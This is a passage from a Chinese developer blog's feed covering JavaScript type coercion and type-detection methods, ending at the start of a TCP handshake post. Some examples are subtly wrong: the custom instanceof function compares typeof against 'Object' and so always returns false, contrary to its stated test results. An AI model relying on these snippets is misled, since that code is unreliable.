<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>'1'</span><span> </span><span>==</span><span> </span><span>1</span><span> </span><span>//true</span></div></div><div><div><div>2</div></div><div><span>''</span><span> </span><span>==</span><span> </span><span>null</span><span> </span><span>//false</span></div></div><div><div><div>3</div></div><div><span>''</span><span> </span><span>==</span><span> </span><span>0</span><span> </span><span>//true</span></div></div><div><div><div>4</div></div><div><span>[] </span><span>==</span><span> </span><span>0</span><span> </span><span>//true</span></div></div><div><div><div>5</div></div><div><span>[] </span><span>==</span><span> </span><span>''</span><span> </span><span>//true</span></div></div><div><div><div>6</div></div><div><span>[] </span><span>==</span><span> </span><span>!</span><span>[] </span><span>//true</span></div></div><div><div><div>7</div></div><div><span>null</span><span> </span><span>==</span><span> </span><span>undefined</span><span> </span><span>//true</span></div></div><div><div><div>8</div></div><div><span>Number</span><span>(</span><span>null</span><span>) </span><span>//0</span></div></div><div><div><div>9</div></div><div><span>Number</span><span>(</span><span>''</span><span>) </span><span>//0</span></div></div><div><div><div>10</div></div><div><span>parseInt</span><span>(</span><span>''</span><span>) </span><span>//NaN</span></div></div><div><div><div>11</div></div><div><span>{}</span><span>+</span><span>10</span><span> </span><span>//10</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>let</span><span><span> </span><span>obj</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>[</span><span>Symbol</span><span>.</span><span>toPrimitive</span><span>](){</span></div></div><div><div><div>15</div></div><div><span>    </span><span>return</span><span> </span><span>200</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>17</div></div><div><span>  </span><span>valueOf</span><span>() {</span></div></div><div><div><div>18</div></div><div><span>    </span><span>return</span><span> </span><span>300</span></div></div><div><div><div>19</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>20</div></div><div><span>  </span><span>toString</span><span>(){</span></div></div><div><div><div>21</div></div><div><span>    </span><span>return</span><span> </span><span>'Hello'</span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>23</div></div><div><span>}</span></div></div><div><div><div>24</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>obj</span></span><span>+</span><span>200</span><span>) </span><span>//400</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div>
<section><h2>强制类型转换<a href="#强制类型转换"><span>#</span></a></h2><p>强制类型转换方式包括<code>Number()</code>、<code>parseInt()</code>、<code>parseFloat()</code>、<code>toString()</code>、<code>String()</code>、<code>Boolean()</code>,这些方法都比较相似，就是通过自身的方法来进行数据类型的强制转换。</p><section><h3>Number()强制转换<a href="#number强制转换"><span>#</span></a></h3><ul>
<li>布尔值，true转换为1，false转换为0</li>
<li>数字返回自身。</li>
<li>null返回0</li>
<li>undefined返回NaN</li>
<li>如果是字符串
<ul>
<li>如果字符串中只包含数字(或是0x/0X开头数字可以有正负)将其转换为十进制</li>
<li>如果字符串中包含有效的浮点格式，转化为浮点数</li>
<li>如果是空字符串，转换为0</li>
<li>如果不是以上的，返回NaN</li>
</ul>
</li>
<li>如果是Symbol，抛出错误</li>
<li>如果是对象，并且部署了[Symbol.toPrimitive]，调用对象的valueOf()方法，然后根据前面的规则转换返回的值，如果转换的结果是NaN,那么调用对象的toString方法，再次按前面的顺序返回对应的值。</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Number</span><span>(</span><span>true</span><span>);        </span><span>// 1</span></div></div><div><div><div>2</div></div><div><span>Number</span><span>(</span><span>false</span><span>);       </span><span>// 0</span></div></div><div><div><div>3</div></div><div><span>Number</span><span>(</span><span>'0111'</span><span>);      </span><span>//111</span></div></div><div><div><div>4</div></div><div><span>Number</span><span>(</span><span>null</span><span>);        </span><span>//0</span></div></div><div><div><div>5</div></div><div><span>Number</span><span>(</span><span>''</span><span>);          </span><span>//0</span></div></div><div><div><div>6</div></div><div><span>Number</span><span>(</span><span>'1a'</span><span>);        </span><span>//NaN</span></div></div><div><div><div>7</div></div><div><span>Number</span><span>(</span><span>-</span><span>0X11</span><span>);       </span><span>//-17</span></div></div><div><div><div>8</div></div><div><span>Number</span><span>(</span><span>'0X11'</span><span>)       </span><span>//17</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>Boolean()方法的强制转换规则<a href="#boolean方法的强制转换规则"><span>#</span></a></h3><p>undefined, null, false, ”, 0(+0,-0), NaN转换的是false，其他转换的都是true。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Boolean</span><span>(</span><span>0</span><span>)          </span><span>//false</span></div></div><div><div><div>2</div></div><div><span>Boolean</span><span>(</span><span>null</span><span>)       </span><span>//false</span></div></div><div><div><div>3</div></div><div><span>Boolean</span><span>(</span><span>undefined</span><span>)  </span><span>//false</span></div></div><div><div><div>4</div></div><div><span>Boolean</span><span>(</span><span>NaN</span><span>)        </span><span>//false</span></div></div><div><div><div>5</div></div><div><span>Boolean</span><span>(</span><span>1</span><span>)          </span><span>//true</span></div></div><div><div><div>6</div></div><div><span>Boolean</span><span>(</span><span>13</span><span>)         </span><span>//true</span></div></div><div><div><div>7</div></div><div><span>Boolean</span><span>(</span><span>'a'</span><span>)       </span><span>//true</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>parseInt()<a href="#parseint"><span>#</span></a></h3><p>直接转换</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>parseInt("1234blue");   //returns   1234</span></div></div><div><div><div>2</div></div><div><span>parseInt("0xA");   //returns   10</span></div></div><div><div><div>3</div></div><div><span>parseInt("22.5");   //returns   22</span></div></div><div><div><div>4</div></div><div><span>parseInt("blue");   //returns   NaN</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>根据进制转换</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>parseInt("AF",   16);   //returns   175</span></div></div><div><div><div>2</div></div><div><span>parseInt("10",   2);   //returns   2</span></div></div><div><div><div>3</div></div><div><span>parseInt("10",   8);   //returns   8</span></div></div><div><div><div>4</div></div><div><span>parseInt("10",   10);   //returns   10</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>parseFloat()<a href="#parsefloat"><span>#</span></a></h3><p>跟parseInt()基本一样，不过是转换浮点数，但是没有进制转换的功能</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>parseFloat("1234blue");   //returns   1234.0</span></div></div><div><div><div>2</div></div><div><span>parseFloat("0xA");   //returns   NaN</span></div></div><div><div><div>3</div></div><div><span>parseFloat("22.5");   //returns   22.5</span></div></div><div><div><div>4</div></div><div><span>parseFloat("22.34.5");   //returns   22.34</span></div></div><div><div><div>5</div></div><div><span>parseFloat("0908");   //returns   908</span></div></div><div><div><div>6</div></div><div><span>parseFloat("blue");   //returns   NaN</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>toString()<a href="#tostring"><span>#</span></a></h3><p>对于原始类型，null转化成”null” , undefined转换成 “undefined”, true转换成“true”, false转化成“false”, 数字除了极大和极小的数字采用指数形式。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var a = 1.07*1000*1000*1000*1000*1000*1000*1000</span></div></div><div><div><div>2</div></div><div><span>a.toString()    //"1.07e21"</span></div></div><div><div><div>3</div></div><div><span>var b = 15</span></div></div><div><div><div>4</div></div><div><span>b.toString() //"15"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>对普通对象来说，除非自行定义，否则toString()返回内部属性<a href="/posts/Class/">Class</a>的值，如”[object Object]”</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let a = {</span></div></div><div><div><div>2</div></div><div><span><span> </span></span><span>name:"a"</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>a.toString() //"[object Object]"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>数组对象重写了toString方法，把每个位置的都转换成字符串然后用<code>,</code>拼接</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var a = [1,2,3]</span></div></div><div><div><div>2</div></div><div><span>a.toString() //1,2,3</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>String()<a href="#string"><span>#</span></a></h3><p>和toString()的转换基本上是一样的，只不过toString没办法直接转换原始类型，只能转换经过js包装的对象。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>11.toString() //报错</span></div></div><div><div><div>2</div></div><div><span>String(11) //"11"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>隐式类型转换<a href="#隐式类型转换"><span>#</span></a></h2><p>通过逻辑运算符(<code>&amp;&amp;</code>，<code>||</code>，<code>!</code>)，运算符(<code>+</code>,<code>-</code>,<code>*</code>,<code>/</code>)，关系操作符(<code>&gt;</code>,<code>&lt;</code>,<code>&lt;=</code>,<code>&gt;=</code>)，相等运算符（<code>==</code>）或者if/while条件操作，如果遇到两个数据类型不同的情况，都会出现隐式转化。</p><section><h3><code>==</code>的隐式类型转换规则<a href="#的隐式类型转换规则"><span>#</span></a></h3><ul>
<li>如果类型相同，无需进行转换</li>
<li>如果其中一个值是null或者undefined，那么另一个操作符必须也是null或者undefined，不然返回的就是false不是true</li>
<li>如果其中一个是Symbol类型，那么返回false</li>
<li>两个操作值如果一个为String类型一个为Number类型，那么会将String类型转换为Number类型</li>
<li>如果一个操作值是boolean，会被转换成number</li>
<li>如果一个操作值是object，另一个操作值是string/number/symbol，就会把object转换为原始类型再进行判断（调用object的valueOf/toString方法进行转换）</li>
</ul><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>null == undefined       // true  规则2</span></div></div><div><div><div>2</div></div><div><span>null == 0               // false 规则2</span></div></div><div><div><div>3</div></div><div><span>'' == null              // false 规则2</span></div></div><div><div><div>4</div></div><div><span>'' == 0                 // true  规则4 字符串转隐式转换成Number之后再对比</span></div></div><div><div><div>5</div></div><div><span>'123' == 123            // true  规则4 字符串转隐式转换成Number之后再对比</span></div></div><div><div><div>6</div></div><div><span>0 == false              // true  e规则 布尔型隐式转换成Number之后再对比</span></div></div><div><div><div>7</div></div><div><span>1 == true               // true  e规则 布尔型隐式转换成Number之后再对比</span></div></div><div><div><div>8</div></div><div><span>var a = {</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>value: 0,</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>valueOf: function() {</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>this.value++;</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>return this.value;</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>};</span></div></div><div><div><div>15</div></div><div><span>// 注意这里a又可以等于1、2、3</span></div></div><div><div><div>16</div></div><div><span>console.log(a == 1 &amp;&amp; a == 2 &amp;&amp; a ==3);  //true f规则 Object隐式转换</span></div></div><div><div><div>17</div></div><div><span>// 注：但是执行过3遍之后，再重新执行a==3或之前的数字就是false，因为value已经加上去了，这里需要注意一下</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/data-type/</id>
      <title type="text">JavaScript数据类型检测</title>
      <published>2021-06-19T00:00:00.000Z</published>
      <updated>2021-06-19T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/data-type/"/>
      <summary type="text">JavaScript中数据类型分为原始类型（number、string、boolean、null、undefined、bigint和symbol）和对象(Arr…</summary>
      <content type="html"><![CDATA[<p>JavaScript中数据类型分为原始类型（<code>number</code>、<code>string</code>、<code>boolean</code>、<code>null</code>、<code>undefined</code>、<code>bigint</code>和<code>symbol</code>）和对象(<code>Array - 数组对象</code>、<code>RegExp - 正则对象</code>、<code>Date - 日期对象</code>、<code>Math - 数学函数</code>、<code>Function - 函数对象</code>)。在JavaScript中，除了原始类型，其余都是对象，对象都是<code>Object</code>的实例。</p>
<p>对于数据类型需要了解两个概念：</p>
<ol>
<li>
<p>原始类型存储在栈内存中，被引用和拷贝的时候会创建一个完全相等的变量。</p>
</li>
<li>
<p>对象类型存储在堆内存中，存储的是地址，可能会有多个变量都指向同一个地址的情况。</p>
<p>举个🌰：a声明了一个对象，这个对象存储到了堆里面，a其实只是一个地址，如果这时候把a的值赋给b，那b也可以访问到a声明的这个对象了，a和b相当于共享这个对象。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210618220040652.png" alt="image-20210618220040652" /><figcaption>image-20210618220040652</figcaption></figure><p></p>
<p>代码</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let a = {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>name:"a"</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>b=a</span></div></div><div><div><div>5</div></div><div><span>a.name //a</span></div></div><div><div><div>6</div></div><div><span>b.name //a</span></div></div><div><div><div>7</div></div><div><span>b.name = "b"</span></div></div><div><div><div>8</div></div><div><span>b.name //b</span></div></div><div><div><div>9</div></div><div><span>a.name //b</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>第二个🌰</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>a</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>age</span><span>:</span><span>18</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>function</span><span> </span><span>change</span><span><span>(</span><span>o</span><span>){</span></span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>o</span><span>.</span><span>age</span><span>=</span><span>20</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>o</span><span> </span><span>=</span><span> {</span></div></div><div><div><div>7</div></div><div><span>    </span><span>name</span><span>:</span><span>"新的"</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>  </span><span>return</span><span><span> </span><span>o</span></span></div></div><div><div><div>10</div></div><div><span>}</span></div></div><div><div><div>11</div></div><div><span><span>b</span><span> </span></span><span>=</span><span> </span><span>change</span><span><span>(</span><span>a</span><span>)</span></span></div></div><div><div><div>12</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>a</span><span>) </span></span><span>//20</span></div></div><div><div><div>13</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>b</span><span>) </span></span><span>//新的</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>在function change中的<code>o.age=20</code>中的o实际上还是a对象的地址，因此a对象的age被改成了20，而function中<code>o=...</code>和<code>return o</code>则是新创建了一个对象，可以看到b中并没有age这个属性。若没有return语句，则函数默认返回的是undefined。</p>
</li>
</ol>
<section><h2>数据类型检查方法<a href="#数据类型检查方法"><span>#</span></a></h2><ul>
<li>
<section><h3>typeof<a href="#typeof"><span>#</span></a></h3></section>
</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>typeof 1 // 'number'</span></div></div><div><div><div>2</div></div><div><span>typeof '1' // 'string'</span></div></div><div><div><div>3</div></div><div><span>typeof undefined // 'undefined'</span></div></div><div><div><div>4</div></div><div><span>typeof true // 'boolean'</span></div></div><div><div><div>5</div></div><div><span>typeof Symbol() // 'symbol'</span></div></div><div><div><div>6</div></div><div><span>typeof null // 'object'</span></div></div><div><div><div>7</div></div><div><span>typeof [] // 'object'</span></div></div><div><div><div>8</div></div><div><span>typeof {} // 'object'</span></div></div><div><div><div>9</div></div><div><span>typeof console // 'object'</span></div></div><div><div><div>10</div></div><div><span>typeof console.log // 'function'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>typeof null为啥返回object，这是js一直以来的一个bug，虽然结果是object，但是null并不是对象类型，而是原始类型，如果要判断这个值是不是null，需要通过<code>===null</code>来来判断。</p><p>还有一个问题是，typeof对于除了function之外的对象类型没有区分能力。</p><ul>
<li>
<section><h3>instanceof<a href="#instanceof"><span>#</span></a></h3></section>
</li>
</ul><p><code>&lt;object&gt; instanceof &lt;constructor&gt;</code></p><p>object：某个实例对象</p><p>constructor：某个构造函数</p><p><code>intanceof</code>就是用来检查<code>constructor.prototype</code>是否存在在参数<code>object</code>的原型链上。如果constructor是object的构造函数，那么自然他们是相同的数据类型。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let constructor1 = function(){}</span></div></div><div><div><div>2</div></div><div><span>let o1 = new constructor1()</span></div></div><div><div><div>3</div></div><div><span>o1 instanceof constructor1 //true</span></div></div><div><div><div>4</div></div><div><span>let str1 = new String('构造出来的字符串')</span></div></div><div><div><div>5</div></div><div><span>str1 instanceof String //true</span></div></div><div><div><div>6</div></div><div><span>let str2 = '字符串'</span></div></div><div><div><div>7</div></div><div><span>str2 instanceof String  //false</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>由上可以看出instanceof在判断对象数据类型还行，但是判断基础数据类型就不行了，可以看到构造出来的字符串是正确的，但是直接声明的字符串却不行，因为String不在直接声明的字符串的原型链上。</p><blockquote><p>那么instanceof是如何实现的呢</p></blockquote><p>思路就是</p><ol>
<li>用typeof 判断 A 数据类型是不是原始类型，如果是的话就返回false(因为原始类型没有原型对象。)；</li>
<li>当满足第一个条件后，用<code>Object.getPrototypeOf(A)</code>拿到A的原型对象。</li>
<li>因为原型对象可能还有自己的原型对象，所以需要一个循环一直向内寻找，直到找到与B也就是对比目标相同的原型对象，返回true，代表是两个数据是相同数据类型的。若没有相同的，循环到原型对象链的头也就是null了，return false。</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>myInstanceOf</span><span><span>(</span><span>A</span><span>,</span><span>B</span><span>){</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>//如果不是对象类型而是原始类型就没法判断，因为原始类型没有</span></div></div><div><div><div>3</div></div><div><span>  </span><span>if</span><span>(</span><span>typeof</span><span> </span><span>A</span><span> </span><span>!==</span><span> </span><span>'Object'</span><span>||</span><span>A</span><span>===</span><span>null</span><span>) </span><span>return</span><span> </span><span>false</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>//获取A的原型对象</span></div></div><div><div><div>5</div></div><div><span>  </span><span>let</span><span><span> </span><span>proto</span><span> </span></span><span>=</span><span><span> </span><span>Object</span><span>.</span></span><span>getPrototypeOf</span><span>(</span><span>A</span><span>);</span></div></div><div><div><div>6</div></div><div><span>  </span><span>while</span><span>(</span><span>true</span><span>){</span></div></div><div><div><div>7</div></div><div><span>    </span><span>//说明原型链到头了，代表A的原型链上没有与B的prototype(原型属性)相同，返回false</span></div></div><div><div><div>8</div></div><div><span>    </span><span>if</span><span><span>(</span><span>proto</span><span> </span></span><span>===</span><span> </span><span>null</span><span>) </span><span>return</span><span> </span><span>false</span></div></div><div><div><div>9</div></div><div><span>    </span><span>//当A的原型对象和B的数据类型相同时</span></div></div><div><div><div>10</div></div><div><span>    </span><span>if</span><span><span>(</span><span>proto</span><span> </span></span><span>===</span><span> </span><span>B</span><span>.</span><span>prototype</span><span>) </span><span>return</span><span> </span><span>true</span></div></div><div><div><div>11</div></div><div><span>    </span><span>//循环向上寻找原型链的原型对象 A的原型对象的原型对象...然后依次后面加的原型对象</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>proto</span><span> </span><span>=</span><span><span> </span><span>Object</span><span>.</span></span><span>getPrototypeOf</span><span><span>(</span><span>proto</span><span>)</span></span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>为什么这里不用<code>__proto__</code>而是<code>Object.getPrototypeOf(参数)</code>：原因是因为<strong>兼容性问题</strong>，由于<code>__proto__</code>是内部属性不是一个真正对外的API，只有浏览器必须部署此属性其他环境不一定要部署。从兼容等方面考虑许多人不建议使用此属性而推荐使用setPrototypeOf、getPrototypeOf、create来代替。此处是把<code>A.__proto__</code>替换成了<code>Object.getPrototypeOf(A)</code></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//测试</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>myInstanceof</span><span>(</span><span>new</span><span> </span><span>Number</span><span>(</span><span>123</span><span><span>), </span><span>Number</span><span>));</span></span><span>// true</span></div></div><div><div><div>3</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>myInstanceof</span><span>(</span><span>123</span><span><span>, </span><span>Number</span><span>));</span></span><span>//false</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>为什么原始类型没有原型对象，但是浏览器中测试却可以获取到呢？</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let a = "a"</span></div></div><div><div><div>2</div></div><div><span>a.__proto__</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210619231811192.png" alt="image-20210619231811192" /><figcaption>image-20210619231811192</figcaption></figure><p></p><p>不仅有，而且还和new出来的<code>__proto__</code>是一摸一样。这就没法比了，是因为原来原始值类型（布尔值、数字、字符串）有其对应的包装器对象：Boolean（布尔对象）、Number（数字对象）、String（字符串对象），在这些原始值类型上尝试调用属性或方法（比如 constructor 等）时，JS会自动进行 Auto-Boxing（临时包装）的过程，首先将其转换为临时包装器对象，再访问其上的属性或方法，而不会影响原始值类型的属性。所以在函数myInstanceOf中，遇到非对象类型，也就是原始类型，直接就返回false了，不然原始类型被临时包装成了对象，判断成对象就更乱了。</p><section><h3>小节<a href="#小节"><span>#</span></a></h3><p>从上面可以看出<code>instanceof</code>通过原型链来判断数据类型是否相同，缺点是无法判断原始数据类型，只能判断对象数据类型。<code>typeof</code>则是对于原始类型的判断没有问题，但是对于对象数据类型，只能判断出是不是function，除此之外的对象类型都认为是object类型。虽然混写能一定程度解决问题，但是还是推荐以下的typeof+Object.prototype.toString()的方法。</p><ul>
<li>
<h3>Object.prototype.toString()<a href="#objectprototypetostring"><span>#</span></a></h3>
</li>
</ul><p>toString()是Object的原型方法，调用这个方法可以返回格式为<code>[Object XXX]</code>的字符串，其中XXX就是对象的类型，也就是说对于Object对象，直接调用toString就可以返回<code>[object Object]</code>，而对于其他的对象，则需要通过call来调用，才能返回正确的类型信息。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>({})       </span><span>// "[object Object]"</span></div></div><div><div><div>2</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>({})  </span><span>// 同上结果，加上call也ok</span></div></div><div><div><div>3</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>1</span><span>)    </span><span>// "[object Number]"</span></div></div><div><div><div>4</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>'1'</span><span>)  </span><span>// "[object String]"</span></div></div><div><div><div>5</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>true</span><span>)  </span><span>// "[object Boolean]"</span></div></div><div><div><div>6</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>function</span><span>(){})  </span><span>// "[object Function]"</span></div></div><div><div><div>7</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>null</span><span>)   </span><span>//"[object Null]"</span></div></div><div><div><div>8</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>undefined</span><span>) </span><span>//"[object Undefined]"</span></div></div><div><div><div>9</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>/123/</span><span>g</span><span>)    </span><span>//"[object RegExp]"</span></div></div><div><div><div>10</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>(</span><span>new</span><span> </span><span>Date</span><span>()) </span><span>//"[object Date]"</span></div></div><div><div><div>11</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span>([])       </span><span>//"[object Array]"</span></div></div><div><div><div>12</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span><span>(</span><span>document</span><span>)  </span></span><span>//"[object HTMLDocument]"</span></div></div><div><div><div>13</div></div><div><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span><span>(</span><span>window</span><span>)   </span></span><span>//"[object Window]"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看出这个方法很不错。能准确的判断出对象数据类型是哪种，甚至可以区别document和window。</p><p>有一点需要注意，就是typeof和Object.prototype.toString.call(参数)最后的返回数据是不同的，typeof返回的都是小写字母，而Object.prototype.toString.call(参数)返回的是Xxx首字母大写的格式。最后我们只需要进行一些优化就行，因为并不需要前面的object，我们只关心后面的数据类型判断结果。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>getType</span><span><span>(</span><span>obj</span><span>){</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>let</span><span><span> </span><span>type</span><span>  </span></span><span>=</span><span> </span><span>typeof</span><span><span> </span><span>obj</span><span>;</span></span></div></div><div><div><div>3</div></div><div><span>  </span><span>if</span><span><span> (</span><span>type</span><span> </span></span><span>!==</span><span> </span><span>"object"</span><span>) {    </span><span>// 先进行typeof判断，如果是基础数据类型，直接返回</span></div></div><div><div><div>4</div></div><div><span>    </span><span>return</span><span><span> </span><span>type</span><span>;</span></span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>6</div></div><div><span>  </span><span>// 对于typeof返回结果是object的，再进行如下的判断，正则返回结果</span></div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> </span><span>Object</span><span>.</span><span>prototype</span><span>.</span><span>toString</span><span>.</span><span>call</span><span><span>(</span><span>obj</span><span>).</span></span><span>replace</span><span>(</span><span>/</span><span>^</span><span><span>\[</span><span>object (</span></span><span>\S</span><span><span>+</span><span>)</span><span>\]</span></span><span>$</span><span>/</span><span>, </span><span>'$1'</span><span>);  </span><span>// 注意正则中间有个空格</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>测试</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>getType("str") //"String"</span></div></div><div><div><div>2</div></div><div><span>getType(123) //"Number"</span></div></div><div><div><div>3</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>最后返回的就直接是对应的数据类型了，非常人性化。</p><p>以上就是数据类型检测的三种方法总结了。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/network/tcpip/tcp34/</id>
      <title type="text">TCP的三次握手和四次挥手</title>
      <published>2021-06-14T00:00:00.000Z</published>
      <updated>2021-06-14T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/network/tcpip/tcp34/"/>
      <summary type="text">TCP 协议是“Transmission Control Protocol”的缩写，意思是“传输控制协议”，它位于 IP 协议之上，基于 IP 协议提供可靠的、…</summary>
      <content type="html"><![CDATA[<section><h3>TCP概念和作用<a href="#tcp概念和作用"><span>#</span></a></h3><p>TCP 协议是“Transmission Control Protocol”的缩写，意思是“传输控制协议”，它位于 IP 协议之上，基于 IP 协议提供可靠的、字节流(有先后顺序)形式的通信，是 HTTP 协议得以实现的基础。TCP 是一个有状态的协议，需要先与对方建立<strong>连接</strong>然后才能发送数据，而且保证数据不丢失不重复。</p><blockquote><p>连接：连接是一种传输数据的行为。传输之前，建立一个连接。具体来说，数据收发双方的内存中都建立一个用于维护数据传输状态的对象，比如双方 IP 和端口是多少？现在发送了多少数据了？状态健康吗？传输速度如何？等。所以，连接是网络行为状态的记录。</p></blockquote><p>TCP协议的特点：</p><ul>
<li>基于连接：数据传输之前需要建立连接</li>
<li>字节流：不限制数据大小，保证有序接受</li>
<li>可靠的传输服务：保证可达，丢包时通过重发机制实现可靠性</li>
<li>全双工：双向传输数据，双方主机可以平等发送信息。</li>
